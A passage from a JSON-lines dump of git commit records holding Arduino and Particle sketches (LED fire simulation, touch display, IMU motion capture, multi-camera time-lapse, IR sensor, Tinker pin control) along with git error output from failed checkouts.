or\n\/\/ three are possible, too, even if they don't look quite as nice for fire.\n\/\/\n\/\/ The dynamic palette shows how you can change the basic 'hue' of the\n\/\/ color palette every time through the loop, producing \"rainbow fire\".\n\nCRGBPalette16 gPal;\n\nvoid setup() {\n delay(3000); \/\/ sanity delay\n FastLED.addLeds<CHIPSET, LED_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection( TypicalLEDStrip );\n FastLED.setBrightness( BRIGHTNESS );\n\n \/\/ This first palette is the basic 'black body radiation' colors,\n \/\/ which run from black to red to bright yellow to white.\n gPal = HeatColors_p;\n \n \/\/ These are other ways to set up the color palette for the 'fire'.\n \/\/ First, a gradient from black to red to yellow to white -- similar to HeatColors_p\n \/\/ gPal = CRGBPalette16( CRGB::Black, CRGB::Red, CRGB::Yellow, CRGB::White);\n \n \/\/ Second, this palette is like the heat colors, but blue\/aqua instead of red\/yellow\n \/\/ gPal = CRGBPalette16( CRGB::Black, CRGB::Blue, CRGB::Aqua, CRGB::White);\n \n \/\/ Third, here's a simpler, three-step gradient, from black to red to white\n \/\/ gPal = CRGBPalette16( CRGB::Black, CRGB::Red, CRGB::White);\n\n}\n\nvoid loop()\n{\n \/\/ Add entropy to random number generator; we use a lot of it.\n random16_add_entropy( random());\n\n \/\/ Fourth, the most sophisticated: this one sets up a new palette every\n \/\/ time through the loop, based on a hue that changes every time.\n \/\/ The palette is a gradient from black, to a dark color based on the hue,\n \/\/ to a light color based on the hue, to white.\n \/\/\n \/\/ static uint8_t hue = 0;\n \/\/ hue++;\n \/\/ CRGB darkcolor = CHSV(hue,255,192); \/\/ pure hue, three-quarters brightness\n \/\/ CRGB lightcolor = CHSV(hue,128,255); \/\/ half 'whitened', full brightness\n \/\/ gPal = CRGBPalette16( CRGB::Black, darkcolor, lightcolor, CRGB::White);\n\n\n Fire2012WithPalette(); \/\/ run simulation frame, using palette colors\n \n FastLED.show(); \/\/ display this frame\n FastLED.delay(1000 \/ FRAMES_PER_SECOND);\n}\n\n\n\/\/ Fire2012 by Mark Kriegsman, July 2012\n\/\/ as part of \"Five Elements\" shown here: http:\/\/youtu.be\/knWiGsmgycY\n\/\/\/\/ \n\/\/ This basic one-dimensional 'fire' simulation works roughly as follows:\n\/\/ There's a underlying array of 'heat' cells, that model the temperature\n\/\/ at each point along the line. Every cycle through the simulation, \n\/\/ four steps are performed:\n\/\/ 1) All cells cool down a little bit, losing heat to the air\n\/\/ 2) The heat from each cell drifts 'up' and diffuses a little\n\/\/ 3) Sometimes randomly new 'sparks' of heat are added at the bottom\n\/\/ 4) The heat from each cell is rendered as a color into the leds array\n\/\/ The heat-to-color mapping uses a black-body radiation approximation.\n\/\/\n\/\/ Temperature is in arbitrary units from 0 (cold black) to 255 (white hot).\n\/\/\n\/\/ This simulation scales it self a bit depending on NUM_LEDS; it should look\n\/\/ \"OK\" on anywhere from 20 to 100 LEDs without too much tweaking. \n\/\/\n\/\/ I recommend running this simulation at anywhere from 30-100 frames per second,\n\/\/ meaning an interframe delay of about 10-35 milliseconds.\n\/\/\n\/\/ Looks best on a high-density LED setup (60+ pixels\/meter).\n\/\/\n\/\/\n\/\/ There are two main parameters you can play with to control the look and\n\/\/ feel of your fire: COOLING (used in step 1 above), and SPARKING (used\n\/\/ in step 3 above).\n\/\/\n\/\/ COOLING: How much does the air cool as it rises?\n\/\/ Less cooling = taller flames. More cooling = shorter flames.\n\/\/ Default 55, suggested range 20-100 \n#define COOLING 55\n\n\/\/ SPARKING: What chance (out of 255) is there that a new spark will be lit?\n\/\/ Higher chance = more roaring fire. Lower chance = more flickery fire.\n\/\/ Default 120, suggested range 50-200.\n#define SPARKING 120\n\n\nvoid Fire2012WithPalette()\n{\n\/\/ Array of temperature readings at each simulation cell\n static byte heat[NUM_LEDS];\n\n \/\/ Step 1. Cool down every cell a little\n for( int i = 0; i < NUM_LEDS; i++) {\n heat[i] = qsub8( heat[i], random8(0, ((COOLING * 10) \/ NUM_LEDS) + 2));\n }\n \n \/\/ Step 2. Heat from each cell drifts 'up' and diffuses a little\n for( int k= NUM_LEDS - 3; k > 0; k--) {\n heat[k] = (heat[k - 1] + heat[k - 2] + heat[k - 2] ) \/ 3;\n }\n \n \/\/ Step 3. Randomly ignite new 'sparks' of heat near the bottom\n if( random8() < SPARKING ) {\n int y = random8(7);\n heat[y] = qadd8( heat[y], random8(160,255) );\n }\n\n \/\/ Step 4. Map from heat cells to LED colors\n for( int j = 0; j < NUM_LEDS; j++) {\n \/\/ Scale the heat value from 0-255 down to 0-240\n \/\/ for best results with color palettes.\n byte colorindex = scale8( heat[j], 240);\n leds[j] = ColorFromPalette( gPal, colorindex);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Fire2012WithPalette\/Fire2012WithPalette.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a1183bf0f47b36787be4c9b53b49295995d82e24","subject":"Adding Arduino code for basic HTTP Authentication --- at line 80","message":"Adding Arduino code for basic HTTP Authentication --- at line 80\n","repos":"JZ-SmartThings\/SmartThings,JZ-SmartThings\/SmartThings,JZ-SmartThings\/SmartThings","old_file":"Devices\/Generic HTTP Device\/ArduinoSample.ino","new_file":"Devices\/Generic HTTP Device\/ArduinoSample.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Devices\/Generic' did not match any file(s) known to git\nerror: pathspec 'HTTP' did not match any file(s) known to git\nerror: pathspec 'Device\/ArduinoSample.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"91d6d9c217f9cd47983a10bfc2621da3defbc671","subject":"Display with touch working","message":"Display with touch working\n","repos":"roboter\/Lunohod","old_file":"_4DSystemDispalyBare\/_4DSystemDispalyBare.ino","new_file":"_4DSystemDispalyBare\/_4DSystemDispalyBare.ino","new_contents":"#define DisplaySerial Serial\n#define RESETLINE 4\n\n#include \"Picaso_Serial_4DLib.h\"\n\n#include \"Picaso_Const4D.h\"\n\nPicaso_Serial_4DLib Display(&DisplaySerial);\n\nvoid setup()\n{\n \n pinMode(13,OUTPUT);\n pinMode(RESETLINE, OUTPUT); \/\/ Set D4 on Arduino to Output (4D Arduino Adaptor V2 - Display Reset)\n digitalWrite(RESETLINE, 1); \/\/ Reset the Display via D4\n delay(100);\n digitalWrite(RESETLINE, 0); \/\/ unReset the Display via D4\n delay(5000);\n DisplaySerial.begin(9600) ;\n Display.TimeLimit4D = 5000 ; \/\/ 5 second timeout on all commands\n Display.gfx_Cls() ;\n Display.gfx_ScreenMode(LANDSCAPE) ;\n Display.putstr(\"Lunakhod loading...\") ;\n\/\/ Serial.begin(9600);\n}\n\nint x;\nint y;\nchar cstr[20] ;\nString str;\nvoid loop()\n{\n Display.touch_Set(TOUCH_ENABLE) ;\n \/\/ Display.touch_DetectRegion(100,100, 200, 200) ;\n Display.touch_Set(TOUCH_REGIONDEFAULT) ;\n \/\/ Display.gfx_RectangleFilled(100,100, 200, 200, BLUE) ; \n \/\/-------------Draw some buttons-------------------------\n\/\/ Display.gfx_RectangleFilled(0,0,19,19,RED); \/\/\n\/\/ Display.gfx_RectangleFilled(20,0,39,19,ORANGE); \/\/\n\/\/ Display.gfx_RectangleFilled(40,0,59,19,YELLOW); \/\/\n\/\/ Display.gfx_RectangleFilled(60,0,79,19,GREEN); \/\/\n\/\/ Display.gfx_RectangleFilled(80,0,99,19,BLUE); \/\/\n\/\/ Display.gfx_RectangleFilled(100,0,119,19,INDIGO); \/\/\n\/\/ Display.gfx_RectangleFilled(120,0,139,19,PINK); \/\/\n\/\/ Display.gfx_RectangleFilled(140,0,159,19,BROWN); \/\/\n\/\/ Display.gfx_RectangleFilled(180,0,199,19,BLACK); \/\/\n\/\/ Display.gfx_RectangleFilled(200,0,219,19,WHITE); \/\/\n\/\/ Display.gfx_RectangleFilled(220,0,239,19,BLUE); \/\/ display area for current color selection\n\/\/ Display.gfx_Rectangle(260,0,279,19,RED); \/\/\n \/\/Display.gfx_Button(OFF,290,0,WHITE,RED,1,1,1,\"Clear\"); \/\/ I wish I how to use these buttons\n \/\/-------------------------------------------------------\n \n do {} while (Display.touch_Get(TOUCH_STATUS) != TOUCH_PRESSED);\n x = Display.touch_Get(TOUCH_GETX); \/\/ so we can get the first point\n y = Display.touch_Get(TOUCH_GETY);\n Display.txt_MoveCursor(1,0);\n printint(x);\n Display.txt_MoveCursor(2,0);\n printint(y);\n\/\/ Display.putstr(cstr) ;\n\/\/ Display.println(cstr) ;\n\/\/ Serial.print(\"X=\"); \n\/\/ Serial.print(x); \n\/\/ Serial.print(\"; Y=\");\n\/\/ Serial.println(y);\n Display.touch_Set(TOUCH_REGIONDEFAULT) ;\n}\nvoid printint(int val)\n{\n str = String(val);\n str.toCharArray(cstr,16);\n \n Display.putstr(cstr) ;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_4DSystemDispalyBare\/_4DSystemDispalyBare.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cdc12683a7569df9b89876c05c4032d68b87be17","subject":"motion capture output to USB","message":"motion capture output to USB\n","repos":"pscholl\/jnoduino,pscholl\/jnoduino,pscholl\/jnoduino","old_file":"mocap_usbtext\/mocap_usbtext.ino","new_file":"mocap_usbtext\/mocap_usbtext.ino","new_contents":"#include <ahrs.h>\n#include <Wire.h>\n#include <I2Cdev.h>\n#include <LSM9DS0.h>\n\nLSM9DS0 sen;\nboolean connection=false;\nunsigned long time=0;\n\nvoid setup() {\n Serial.begin(115200);\n while (!Serial)\n ; \/\/ wait until somebody is there\n\n sen.initialize();\n connection = sen.testConnection();\n Serial.println( connection ? \"OK\" : \"FAILED\");\n\n sen.setGyroFullScale(2000);\n sen.setGyroOutputDataRate(LSM9DS0_RATE_95);\n sen.setGyroBandwidthCutOffMode(LSM9DS0_BW_HIGH);\n sen.setGyroDataFilter(LSM9DS0_LOW_PASS);\n sen.setFIFOEnabled(false);\n\n sen.setAccRate(LSM9DS0_ACC_RATE_100);\n sen.setAccFullScale(LSM9DS0_ACC_2G);\n sen.setAccAntiAliasFilterBandwidth(LSM9DS0_ACC_FILTER_BW_362);\n\n sen.setMagFullScale(LSM9DS0_MAG_2_GAUSS);\n sen.setMagOutputRate(LSM9DS0_M_ODR_50);\n}\n\n#define p(x) Serial.print(x)\n\nvoid loop() {\n if (!connection)\n return;\n\n time = micros();\n measurement_t m = sen.getMeasurement();\n time = micros() - time;\n \n orientation_t *o =\n AHRSupdate(m.gx, m.gy, m.gz,\n m.ax, m.ay, m.az,\n m.mx, m.my, m.mz,\n time\/1e6);\n \n if (isnan(o->q0)) { \/\/ let's reset\n o->q0 = 1;\n o->q1 = o->q2 = o->q3 = 0;\n o->exInt = o->eyInt = o->ezInt = 0;\n\n\/\/ p(m.gx);p(\"\\t\");p(m.gy);p(\"\\t\");p(m.gz);p(\"\\t\");\n\/\/ p(m.ax);p(\"\\t\");p(m.ay);p(\"\\t\");p(m.az);p(\"\\t\");\n\/\/ p(m.mx);p(\"\\t\");p(m.my);p(\"\\t\");p(m.mz);p(\"\\n\");\n\n return;\n }\n \n p(o->q0); p(\"\\t\");\n p(o->q1); p(\"\\t\");\n p(o->q2); p(\"\\t\");\n p(o->q3); p(\"\\n\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mocap_usbtext\/mocap_usbtext.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"19986120437b3c12c5e525823b5c5e20241b9ff5","subject":"TiltSensor","message":"TiltSensor\n\nAdded debouncing code\n","repos":"MakerWear\/MakerWear,MakerWear\/MakerWear,MakerWear\/MakerWear","old_file":"Sensor Modules\/Tilt Sensor\/TiltSensorATtiny\/TiltSensorATtiny.ino","new_file":"Sensor Modules\/Tilt Sensor\/TiltSensorATtiny\/TiltSensorATtiny.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sensor' did not match any file(s) known to git\nerror: pathspec 'Modules\/Tilt' did not match any file(s) known to git\nerror: pathspec 'Sensor\/TiltSensorATtiny\/TiltSensorATtiny.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a113fca6699bf5e44a69f8ed0c08616fbc00c7b4","subject":"add print to check node address","message":"add print to check node address\n","repos":"Hinaka\/-FPT-CAPSTONE-PGSS,Hinaka\/-FPT-CAPSTONE-PGSS,Hinaka\/-FPT-CAPSTONE-PGSS,Hinaka\/-FPT-CAPSTONE-PGSS,Hinaka\/-FPT-CAPSTONE-PGSS","old_file":"Arduino\/Detectors\/Detectors.ino","new_file":"Arduino\/Detectors\/Detectors.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Hinaka\/-FPT-CAPSTONE-PGSS.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"cb446cf0a91b1da65f07ec9398219b5d47765276","subject":"baud unsetting code","message":"baud unsetting code","repos":"DamonHD\/OTRadioLink,DamonHD\/OTRadioLink,opentrv\/OTRadioLink,Denzo77\/OTRadioLink,opentrv\/OTRadioLink,Denzo77\/OTRadioLink,opentrv\/OTRadioLink,opentrv\/OTRadioLink,Denzo77\/OTRadioLink,DamonHD\/OTRadioLink,Denzo77\/OTRadioLink,DamonHD\/OTRadioLink","old_file":"dev\/utils\/unsetSim900Baud\/unsetSim900Baud.ino","new_file":"dev\/utils\/unsetSim900Baud\/unsetSim900Baud.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Denzo77\/OTRadioLink.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"4dc5cc09da7ffc04ce040beccde40b894d8c4df1","subject":"Add 4 camera time elapse demo","message":"Add 4 camera time elapse demo\n","repos":"Oitzu\/Arduino,ArduCAM\/Arduino,Oitzu\/Arduino,ArduCAM\/Arduino,ArduCAM\/Arduino,Oitzu\/Arduino","old_file":"ArduCAM\/examples\/mini\/ArduCAM_Mini_2MP_4Cams_TimeElapse2SD\/ArduCAM_Mini_2MP_4Cams_TimeElapse2SD.ino","new_file":"ArduCAM\/examples\/mini\/ArduCAM_Mini_2MP_4Cams_TimeElapse2SD\/ArduCAM_Mini_2MP_4Cams_TimeElapse2SD.ino","new_contents":"\/\/ ArduCAM demo (C)2015 Lee\n\/\/ web: http:\/\/www.ArduCAM.com\n\/\/ This program is a demo of how to use most of the functions\n\/\/ of the library with a supported camera modules, and can run on any Arduino platform.\n\/\/\n\/\/ This demo was made for ArduCAM Mini 2MP camera module.\n\/\/ It will run 4 ArduCAM Mini 2MP moduels and take time elapse images every 5 seconds.\n\/\/ The demo sketch will do the following tasks:\n\/\/ 1. Set the sensor to JPEG mode.\n\/\/ 2. Capture 4 image from 4 cameras simultaneously and buffer the image to FIFO every 5 seconds \n\/\/ 3. Store the image to Micro SD\/TF card with JPEG format in sequential.\n\/\/ 4. Resolution can be changed by myCAM.set_JPEG_size() function.\n\/\/ This program requires the ArduCAM V3.4.0 (or later) library and ArduCAM Mini 2MP shield\n\/\/ and use Arduino IDE 1.5.2 compiler or above\n#include <Wire.h>\n#include <ArduCAM.h>\n#include <SPI.h>\n#include <SD.h>\/\/\/\/\/\/\/\/\/\/\/\n#include \"memorysaver.h\"\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#define SD_CS 9\n#if defined(__arm__)\n#include <itoa.h>\n#endif\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nconst int CS1 = 4;\nconst int CS2 = 5;\nconst int CS3 = 6;\nconst int CS4 = 7;\nbool cam1 = true, cam2 = true, cam3 = true, cam4 = true;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nArduCAM myCAM1(OV2640, CS1);\nArduCAM myCAM2(OV2640, CS2);\nArduCAM myCAM3(OV2640, CS3);\nArduCAM myCAM4(OV2640, CS4);\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n uint8_t vid, pid;\n uint8_t temp;\n#if defined (__AVR__)\n Wire.begin();\n#endif\n#if defined(__arm__)\n Wire1.begin();\n#endif\n Serial.begin(115200);\n Serial.println(\"ArduCAM Start!\");\n\n \/\/ set the SPI_CS as an output:\n pinMode(CS1, OUTPUT);\n pinMode(CS2, OUTPUT);\n pinMode(CS3, OUTPUT);\n pinMode(CS4, OUTPUT);\n\n \/\/ initialize SPI:\n SPI.begin();\n \/\/Check if the ArduCAM SPI bus is OK\n myCAM1.write_reg(ARDUCHIP_TEST1, 0x55);\n temp = myCAM1.read_reg(ARDUCHIP_TEST1);\n if (temp != 0x55)\n {\n Serial.println(\"SPI1 interface Error!\");\n cam1 = false;\n \/\/while(1);\n }\n\n myCAM2.write_reg(ARDUCHIP_TEST1, 0x55);\n temp = myCAM2.read_reg(ARDUCHIP_TEST1);\n \/\/Serial.println(temp);\n if (temp != 0x55)\n {\n Serial.println(\"SPI2 interface Error!\");\n cam2 = false;\n \/\/while(1);\n }\n\n myCAM3.write_reg(ARDUCHIP_TEST1, 0x55);\n temp = myCAM3.read_reg(ARDUCHIP_TEST1);\n \/\/Serial.println(temp);\n if (temp != 0x55)\n {\n Serial.println(\"SPI3 interface Error!\");\n cam3 = false;\n \/\/while(1);\n }\n\n myCAM4.write_reg(ARDUCHIP_TEST1, 0x55);\n temp = myCAM4.read_reg(ARDUCHIP_TEST1);\n \/\/Serial.println(temp);\n if (temp != 0x55)\n {\n Serial.println(\"SPI4 interface Error!\");\n cam4 = false;\n \/\/while(1);\n }\n\n \/\/Check if the camera module type is OV2640\n myCAM1.rdSensorReg8_8(OV2640_CHIPID_HIGH, &vid);\n myCAM1.rdSensorReg8_8(OV2640_CHIPID_LOW, &pid);\n\n if ((vid != 0x26) || (pid != 0x42))\n Serial.println(\"Can't find OV2640 module!\");\n else\n Serial.println(\"OV2640 detected\");\n\n \/\/Change to JPEG capture mode and initialize the OV2640 module\n myCAM1.set_format(JPEG);\n myCAM1.InitCAM();\n myCAM1.OV2640_set_JPEG_size(OV2640_1600x1200);\n myCAM1.clear_fifo_flag();\n myCAM1.write_reg(ARDUCHIP_FRAMES, 0x00);\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n if (!SD.begin(SD_CS))\n {\n \/\/while (1);\t\t\/\/If failed, stop here\n Serial.println(\"SD Card Error\");\n }\n else\n Serial.println(\"SD Card detected!\");\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n uint8_t temp, temp_last;\n uint8_t start_capture = 0;\n\n delay(5000);\n\n myCAM1.flush_fifo();\n myCAM2.flush_fifo();\n myCAM3.flush_fifo();\n myCAM4.flush_fifo();\n \/\/Clear the capture done flag\n myCAM1.clear_fifo_flag();\n \/\/Start capture\n myCAM1.start_capture();\n \/\/Clear the capture done flag\n myCAM2.clear_fifo_flag();\n \/\/Start capture\n myCAM2.start_capture();\n \/\/Clear the capture done flag\n myCAM3.clear_fifo_flag();\n \/\/Start capture\n myCAM3.start_capture();\n \/\/Clear the capture done flag\n myCAM4.clear_fifo_flag();\n \/\/Start capture\n myCAM4.start_capture();\n\n\n while (!myCAM1.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK) && cam1);\n if (cam1 == true)\n {\n Serial.println(\"CAM1 Capture Done!\");\n read_fifo_burst(myCAM1);\n \/\/Clear the capture done flag\n myCAM1.clear_fifo_flag();\n }\n\n while (!myCAM2.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK) && cam2);\n if (cam2 == true)\n {\n Serial.println(\"CAM2 Capture Done!\");\n read_fifo_burst(myCAM2);\n \/\/Clear the capture done flag\n myCAM2.clear_fifo_flag();\n }\n \n while (!myCAM3.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK) && cam3);\n if (cam3 == true)\n {\n Serial.println(\"CAM3 Capture Done!\");\n read_fifo_burst(myCAM3);\n \/\/Clear the capture done flag\n myCAM3.clear_fifo_flag();\n }\n \n while (!myCAM4.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK) && cam4);\n if (cam4 == true)\n {\n Serial.println(\"CAM4 Capture Done!\");\n read_fifo_burst(myCAM4);\n \/\/Clear the capture done flag\n myCAM4.clear_fifo_flag();\n }\n}\n\nuint8_t read_fifo_burst(ArduCAM myCAM)\n{\n uint8_t temp, temp_last;\n uint32_t length = 0;\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n char str[8];\n File outFile;\n byte buf[256];\n static int k = 0;\n static int i = 0;\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/Construct a file name\n k = k + 1;\n itoa(k, str, 10);\n strcat(str, \".jpg\");\n \/\/Open the new file\n outFile = SD.open(str, O_WRITE | O_CREAT | O_TRUNC);\n if (! outFile)\n {\n Serial.println(\"open file failed\");\n \/\/return;\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n length = myCAM.read_fifo_length();\n if (length >= 393216) \/\/384 kb\n {\n Serial.println(\"Not found the end.\");\n return 0;\n }\n \/\/Serial.println(length);\n i = 0;\n myCAM.CS_LOW();\n myCAM.set_fifo_burst();\n SPI.transfer(0x00);\/\/First byte is 0xC0 ,not 0xff\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n while ( (temp != 0xD9) | (temp_last != 0xFF))\n {\n temp_last = temp;\n temp = SPI.transfer(0x00);\n\n \/\/Write image data to buffer if not full\n if (i < 256)\n buf[i++] = temp;\n else\n {\n \/\/Write 256 bytes image data to file\n myCAM.CS_HIGH();\n outFile.write(buf, 256);\n i = 0;\n buf[i++] = temp;\n myCAM.CS_LOW();\n myCAM.set_fifo_burst();\n }\n }\n \/\/Write the remain bytes in the buffer\n if (i > 0)\n {\n myCAM.CS_HIGH();\n outFile.write(buf, i);\n }\n \/\/Close the file\n outFile.close();\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduCAM\/examples\/mini\/ArduCAM_Mini_2MP_4Cams_TimeElapse2SD\/ArduCAM_Mini_2MP_4Cams_TimeElapse2SD.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"32ee437fd3f6aca755ce36d70abd2bd40271ff70","subject":"Avancement capteur IR","message":"Avancement capteur IR\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Pince\/Capteur_IR_detection_position\/Capteur_IR_detection_position\/Capteur_IR_detection_position.ino","new_file":"Pince\/Capteur_IR_detection_position\/Capteur_IR_detection_position\/Capteur_IR_detection_position.ino","new_contents":"\/***************** Capteur IR DETECTION POSITION ***********************\n * \n * Ce programme permet d'informer la carte maitre\n * si il y a pr\u00e9sence ou non d'un obstacle, ici d'un \n * cylindre et de d\u00e9terminer sa position.\n * \n ************************************************************\/\n\/\/____________________________________________________________________________________________________\n\/\/ I2C\n#include <Wire.h>\n#include \"i2cCommunication.h\"\n\n\n\/\/____________________________________________________________________________________________________\n\/\/ I2C\n\n#define _RECEIVEADRESS_ 10\n#define _SENDADRESS_ 11\n\n#include <math.h>\n\n\nint pin_capteur = A0; \/\/ \nint pin_LED = 13; \/\/ LED branch\u00e9e a la pin 13\nint c;\nfloat d;\n\n\nvoid setup() {\n pinMode(pin_LED,OUTPUT);\n Serial.begin(9600);\n}\n\nvoid loop() {\n Serial.println(analogRead(pin_capteur));\n \n Serial.println(\"Present alors stop\");\n digitalWrite(pin_LED, HIGH); \/\/ pr\u00e9sence donc la led s'allume\n c=analogRead(pin_capteur);\n d=exp((c-740)\/-198);\n Serial.println(\"Distance : \");\n Serial.print(d);\n Serial.print(\"cm\");\n Serial.println(\"\");\n \n \n \n \n \n delay(50); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Pince\/Capteur_IR_detection_position\/Capteur_IR_detection_position\/Capteur_IR_detection_position.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"76d0fefa7e21f499edccd81581345a450c7c2a48","subject":"Create tinker-x045-solarxbike.ino","message":"Create tinker-x045-solarxbike.ino\n\nParticle kod f\u00f6r alfa tester","repos":"designgreenhouse\/solarXopen","old_file":"solarXbike\/tinker-x045-solarxbike.ino","new_file":"solarXbike\/tinker-x045-solarxbike.ino","new_contents":"PRODUCT_ID(1180);\nPRODUCT_VERSION(1);\n\/* Function prototypes -------------------------------------------------------*\/\nint tinkerDigitalRead(String pin);\nint tinkerDigitalWrite(String command);\nint tinkerAnalogRead(String pin);\nint tinkerAnalogWrite(String command);\n\n\/* This function is called once at start up ----------------------------------*\/\nvoid setup()\n{\n\t\/\/Setup the Tinker application here\n\n\t\/\/Register all the Tinker functions\n\tSpark.function(\"digitalread\", tinkerDigitalRead);\n\tSpark.function(\"digitalwrite\", tinkerDigitalWrite);\n\tSpark.function(\"analogread\", tinkerAnalogRead);\n\tSpark.function(\"analogwrite\", tinkerAnalogWrite);\n\n}\n\n\/* This function loops forever --------------------------------------------*\/\nvoid loop()\n{\n\t\/\/This will run in a loop\n}\n\n\/*******************************************************************************\n * Function Name : tinkerDigitalRead\n * Description : Reads the digital value of a given pin\n * Input : Pin\n * Output : None.\n * Return : Value of the pin (0 or 1) in INT type\n Returns a negative number on failure\n *******************************************************************************\/\nint tinkerDigitalRead(String pin)\n{\n\t\/\/convert ascii to integer\n\tint pinNumber = pin.charAt(1) - '0';\n\t\/\/Sanity check to see if the pin numbers are within limits\n\tif (pinNumber< 0 || pinNumber >7) return -1;\n\n\tif(pin.startsWith(\"D\"))\n\t{\n\t\tpinMode(pinNumber, INPUT_PULLDOWN);\n\t\treturn digitalRead(pinNumber);\n\t}\n\telse if (pin.startsWith(\"A\"))\n\t{\n\t\tpinMode(pinNumber+10, INPUT_PULLDOWN);\n\t\treturn digitalRead(pinNumber+10);\n\t}\n\treturn -2;\n}\n\n\/*******************************************************************************\n * Function Name : tinkerDigitalWrite\n * Description : Sets the specified pin HIGH or LOW\n * Input : Pin and value\n * Output : None.\n * Return : 1 on success and a negative number on failure\n *******************************************************************************\/\nint tinkerDigitalWrite(String command)\n{\n\tbool value = 0;\n\t\/\/convert ascii to integer\n\tint pinNumber = command.charAt(1) - '0';\n\t\/\/Sanity check to see if the pin numbers are within limits\n\tif (pinNumber< 0 || pinNumber >7) return -1;\n\n\tif(command.substring(3,7) == \"HIGH\") value = 1;\n\telse if(command.substring(3,6) == \"LOW\") value = 0;\n\telse return -2;\n\n\tif(command.startsWith(\"D\"))\n\t{\n\t\tpinMode(pinNumber, OUTPUT);\n\t\tdigitalWrite(pinNumber, value);\n\t\treturn 1;\n\t}\n\telse if(command.startsWith(\"A\"))\n\t{\n\t\tpinMode(pinNumber+10, OUTPUT);\n\t\tdigitalWrite(pinNumber+10, value);\n\t\treturn 1;\n\t}\n\telse return -3;\n}\n\n\/*******************************************************************************\n * Function Name : tinkerAnalogRead\n * Description : Reads the analog value of a pin\n * Input : Pin\n * Output : None.\n * Return : Returns the analog value in INT type (0 to 4095)\n Returns a negative number on failure\n *******************************************************************************\/\nint tinkerAnalogRead(String pin)\n{\n\t\/\/convert ascii to integer\n\tint pinNumber = pin.charAt(1) - '0';\n\t\/\/Sanity check to see if the pin numbers are within limits\n\tif (pinNumber< 0 || pinNumber >7) return -1;\n\n\tif(pin.startsWith(\"D\"))\n\t{\n\t\treturn -3;\n\t}\n\telse if (pin.startsWith(\"A\"))\n\t{\n\t\treturn analogRead(pinNumber+10);\n\t}\n\treturn -2;\n}\n\n\/*******************************************************************************\n * Function Name : tinkerAnalogWrite\n * Description : Writes an analog value (PWM) to the specified pin\n * Input : Pin and Value (0 to 255)\n * Output : None.\n * Return : 1 on success and a negative number on failure\n *******************************************************************************\/\nint tinkerAnalogWrite(String command)\n{\n\t\/\/convert ascii to integer\n\tint pinNumber = command.charAt(1) - 